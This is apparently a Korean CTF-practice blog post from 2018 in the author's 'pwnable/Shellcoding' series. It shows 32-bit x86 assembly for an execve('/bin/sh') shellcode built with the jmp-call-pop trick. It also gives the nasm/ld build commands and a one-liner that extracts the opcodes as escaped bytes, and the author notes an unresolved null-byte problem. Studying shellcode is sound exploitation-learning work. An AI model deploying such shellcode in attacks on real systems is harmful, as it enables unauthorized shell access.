pwnable/Shellcoding

쉘코드 만들기 (asm 코딩)

범고래_1 2018. 12. 23. 04:42
section .text
global _start

_start:
	jmp bin_sh

bin_sh:
	call main
	db "/bin/sh",0

main:
	pop ebx
	xor eax, eax
	push eax
	mov edx, esp
	mov ecx, esp
	mov al, 0xb
	int 0x80

bin_sh 부분에서 call main을 하면 리턴 어드레스 (다음 주소)가 스택에 들어가므로 

스택에는 자연스럽게 /bin/sh의 주소가 들어가있다 (신박ㅋ)

이 상태에서 pop ebx하면 ebx에는 바로 /bin/sh의 주소가 잡힌다.


컴파일은

nasm -f elf shell.s

ld -m elf_i386 -o shell shell.o


opcode 뽑기는 

for i in $(objdump -d shell | grep "^ " | cut -f 2);do echo -n \\x$i; done; echo -e "\n";


-----------

null바이트 없애려고 /bin/sh뒤에 붙는 0을 어떻게든 없애보려고 했는데 다 실패...

그나마 성공한건 .data영역에 /bin/sh를 박으면 뒤가 다 null이므로 괜찮은데, 

문제는 이렇게 만든 쉘코는 universal하지 않다. 대충 디버깅 해보니 오프셋이 안 맞아서 그런듯


'pwnable > Shellcoding' 카테고리의 다른 글

쉘코딩 (shellcoding) - (3)  (0) 2022.06.08
쉘코딩 (shellcoding) - (2)  (0) 2022.03.25
쉘코딩 (shellcoding) - (1)  (0) 2022.03.25
쉘코드 만들기 (직접)  (0) 2018.12.23